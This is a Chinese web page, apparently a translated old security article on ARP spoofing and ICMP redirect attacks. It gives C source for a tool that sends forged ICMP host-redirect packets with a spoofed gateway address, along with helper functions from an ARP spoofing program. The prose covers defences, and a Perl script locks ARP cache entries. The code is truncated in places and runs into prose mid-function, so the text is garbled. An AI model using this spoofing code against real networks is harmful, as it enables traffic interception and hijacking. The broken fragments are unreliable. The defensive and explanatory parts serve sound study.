📄 342.htm
字号:
<br>
void get_ip_addr(struct in_addr* in_addr,char* str){ <br>
<br>
<br>
<br>
struct hostent *hostp; <br>
<br>
<br>
<br>
<br>
in_addr->s_addr=inet_addr(str); <br>
<br>
if(in_addr->s_addr == -1){ <br>
<br>
if( (hostp = gethostbyname(str))) <br>
<br>
bcopy(hostp->h_addr,in_addr,hostp->h_length); <br>
<br>
else { <br>
<br>
fprintf(stderr,"send_arp: unknown host %s\n",str); <br>
<br>
exit(1); <br>
<br>
} <br>
<br>
} <br>
<br>
} <br>
<br>
<br>
<br>
<br>
void get_hw_addr(char* buf,char* str){ <br>
<br>
<br>
<br>
int i; <br>
<br>
char c,val; <br>
<br>
<br>
<br>
for(i=0;i if( !(c = tolower(*str++))) die("Invalid hardware address"); <br>
<br>
if(isdigit(c)) val = c-'0'; <br>
<br>
else if(c >= 'a' && c <= 'f') val = c-'a'+10; <br>
<br>
else die("Invalid hardware address"); <br>
<br>
<br>
<br>
*buf = val << 4; <br>
<br>
<br>
if( !(c = tolower(*str++))) die("Invalid hardware address"); <br>
<br>
if(isdigit(c)) val = c-'0'; <br>
<br>
else if(c >= 'a' && c <= 'f') val = c-'a'+10; <br>
<br>
else die("Invalid hardware address"); <br>
<br>
<br>
<br>
*buf++ |= val; <br>
<br>
<br>
<br>
if(*str == ':')str++; <br>
<br>
} <br>
<br>
} <br>
<br>
<br>
<br>
<br>
/* icmp_redir.c <br>
<br>
本程序由用户提供的网关地址发送了一个ICMP主机重定向数据包。在Linux2.0.30 <br>
<br>
上测试通过,并且对大多数的Unix机器有效。 <br>
<br>
这个程序是对上述理论的验证,仅此而已。 <br>
<br>
*/ <br>
<br>
<br>
<br>
struct raw_pkt* pkt; <br>
<br>
<br>
<br>
void die(char *); <br>
<br>
unsigned long int get_ip_addr(char*); <br>
<br>
unsigned short checksum(unsigned short*,char); <br>
<br>
<br>
<br>
<br>
int main(int argc,char** argv){ <br>
<br>
<br>
<br>
struct sockaddr_in sa; <br>
<br>
int sock,packet_len; <br>
<br>
char usage[]={"icmp_redir: send out custom ICMP host redirect packet. <br>
<br>
yuri volobuev'97\n <br>
<br>
\tusage: icmp_redir gw_host targ_host dst_host dummy_host\n"}; <br>
<br>
char on = 1; <br>
<br>
<br>
<br>
if(argc != 5)die(usage); <br>
<br>
<br>
<br>
<br>
if( (sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0){ <br>
<br>
perror("socket"); <br>
<br>
exit(1); <br>
<br>
} <br>
<br>
<br>
<br>
sa.sin_addr.s_addr = get_ip_addr(argv[2]); <br>
<br>
sa.sin_family = AF_INET; <br>
<br>
<br>
<br>
packet_len = sizeof(struct raw_pkt); <br>
<br>
pkt = calloc((size_t)1,(size_t)packet_len); <br>
<br>
<br>
<br>
<br>
pkt->ip.version = IPVERSION; <br>
<br>
pkt->ip.ihl = sizeof(struct iphdr) >> 2; <br>
<br>
pkt->ip.tos = 0; <br>
<br>
pkt->ip.tot_len = htons(packet_len); <br>
<br>
pkt->ip.id = htons(getpid() & 0xFFFF); <br>
<br>
pkt->ip.frag_off = 0; <br>
<br>
pkt->ip.ttl = 0x40; <br>
<br>
pkt->ip.protocol = IPPROTO_ICMP; <br>
<br>
pkt->ip.check = 0; <br>
<br>
pkt->ip.saddr = get_ip_addr(argv[1]); <br>
<br>
<br>
pkt->ip.daddr = sa.sin_addr.s_addr; <br>
<br>
pkt->ip.check = checksum((unsigned short*)pkt,sizeof(struct iphdr)); <br>
<br>
<br>
<br>
pkt->icmp.type = ICMP_REDIRECT; <br>
<br>
pkt->icmp.code = ICMP_REDIR_HOST; <br>
<br>
pkt->icmp.checksum = 0; <br>
<br>
pkt->icmp.un.gateway = get_ip_addr(argv[4]); <br>
<br>
<br>
<br>
memcpy(&(pkt->encl_iphdr),pkt,sizeof(struct iphdr)); <br>
<br>
pkt->encl_iphdr.protocol = IPPROTO_IP; <br>
<br>
pkt->encl_iphdr.saddr = get_ip_addr(argv[2]); <br>
<br>
<br>
pkt->encl_iphdr.daddr = get_ip_addr(argv[3]); <br>
<br>
pkt->encl_iphdr.check = 0; <br>
<br>
pkt->encl_iphdr.check = checksum((unsigned short*)&(pkt->encl_iphdr), <br>
<br>
sizeof(struct iphdr)); <br>
<br>
<br>
<br>
pkt->icmp.checksum = checksum((unsigned short*)&(pkt->icmp), <br>
<br>
sizeof(struct raw_pkt)-sizeof(struct iphdr)); <br>
<br>
<br>
<br>
if (setsockopt(sock,IPPROTO_IP,IP_HDRINCL,(char *)&on,sizeof(on)) < 0) { <br>
<br>
perror("setsockopt: IP_HDRINCL"); <br>
<br>
exit(1); <br>
<br>
<br>
} <br>
<br>
<br>
<br>
if(sendto(sock,pkt,packet_len,0,(struct sockaddr*)&sa,sizeof(sa)) < 0){ <br>
<br>
perror("sendto"); <br>
<br>
exit(1); <br>
<br>
个ARP欺骗通过网关从另一个网络发向你时,恐怕你也无能为力了。同样的,你也可以在你 <br>
<br>
由表中发现重定向的路由信息(route 命令,用“D”标志来标明)。 <br>
<br>
ARP攻击设计来攻击10Base2以太网。如果网络已一些比较先进的方式进行连接,通常是 <br>
<br>
智能HUB或交换机,那么攻击就很容易被发现,甚至是不可能的(类似于被动攻击)。所以 <br>
<br>
一个向你的老板要求更新网络设备的理由。 <br>
<br>
这么想起来,ICMP重定向真是一个非常疯狂的想法。首先,一些网络的结构非常简单, <br>
<br>
<br>
对路由表不需要任何添加;其次,大多数的稳定的网络上,仅仅是用手动的办法来更新路? <br>
并不是一个经常更新的工作,为什么要通过ICMP呢?最后,这个对于你来说是非常危险的? <br>
以在你的系统上关闭ICMP重定向,这样可以减少同RFC1122的冲突。哎,这可不容易呀!在 <br>
<br>
这种提供源码的机器上,你可以重新编译内核。在Irix 6.2和一些其它的系统上,可以“s <br>
<br>
icmp_dropredirects=1”。这与其它的OS,我也不知道有什么办法。 <br>
<br>
时间证明了这个真理:不要信任未确认的主机。否则,网络上帝不会对你施予怜悯的。 <br>
<br>
一些人认为“我有防火墙,我怕谁”,认为一些安全问题对它来说无关紧要。我承认防 <br>
<br>
火墙的作用,但是这并不是经常有效。 <br>
<br>
想象这样一个环境,所有的机器都直接与Internet相连,你不得不与你不了解的人共用 <br>
<br>
你的内部网,他们使用的是vanilla SGI 的机器,而他们简直是在到处告诉别人“来攻击? <br>
我的买主使它非常简单”(是这样的,那些人认识Unix,从侏罗纪公园...),另外,通向 <br>
<br>
路由器由别的机构控制。让我们来到一个标准的网络环境,它会提供我们安全,不受外部? <br>
人们在这里工作,使用电脑。同样,这里的每台机器也存在安全问题。所以,当你下一次? <br>
火墙的时候,请记住它并不能保护每一个人。 <br>
<br>
John Goerzen提供了一个Perl脚本,可以在系统启动时运行。它主要是在Linux机器中 <br>
<br>
维持一个已知的IP地址与硬件地址的缓存,设置标志,以使其不会被更新和改变。配置文? <br>
简单——IP addr 配 MAC addr,用空格键分割,“#”作为注释。 <br>
<br>
这个脚本仅仅在Linux机器上测试过——在其它平台上的人需要修改arp命令的格式。 <br>
<br>
注意:脚本需要运行在网络接口启动之后,服务和客户运行之前;另外,一些人会在 <br>
<br>
ARP被锁定时窃取连接。以下是它的脚本: <br>
<br>
<br>
<br>
#!/usr/bin/perl <br>
<br>
# Program: forcehwaddr <br>
<br>
# Program to run ARP to force certain tables. <br>
<br>
<br>
<br>
<br>
# Specify filenames to read from on command line, or read from stdin. <br>
<br>
<br>
<br>
foreach (<>) { # For each input line.... <br>
<br>
chomp; # Strip if CR/LF <br>
<br>
if (/^#/) { next; } # If it's a comment, skip it. <br>
<br>
if (((($host, $hw) = /\s*(.+?)\s+(\S+)\s*/) == 2) && <br>
<br>
!(/^#/)) { <br>
<br>
# The text between the slashes parses the input line as follows: <br>
<br>
# Ignore leading whitespace. (\s*) <br>
<br>
# Then, start matching and put it into $host ($host, (.+?)) <br>
<br>
# Skip over the whitespace after that (\s+) <br>
<br>
<br>
# Start matching. Continue matching until end of line or optional <br>
<br>
# trailing whitespace. <br>
<br>
<br>
<br>
# Then, the if checks to see that both a <br>
<br>
# host and a hardware address were matched. <br>
<br>
# (2 matches). If not, we skip the <br>
<br>
# line (assuming it is blank or invalid or something). <br>
<br>
# The second part of the if checks to see if the line starts with <br>
<br>
# a pound sign; if so, ignore it (as a comment). <br>
<br>
<br>
<br>
# Otherwise, run the appropriate command: <br>
<br>
printf("Setting IP %-15s to hardware address %s\n", $host, $hw); <br>
<br>
system "/usr/sbin/arp -s $host $hw\n"; <br>
<br>
} <br>
<br>
} <br>
</small><hr>
<p align="center">[<a href="index.htm">回到开始</a>][<a href="308.htm">上一层</a>][<a href="343.htm">下一篇</a>]
<p align="center"><a href="http://cterm.163.net">欢迎访问Cterm主页</a></p>
</table>
</body>
</html>
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -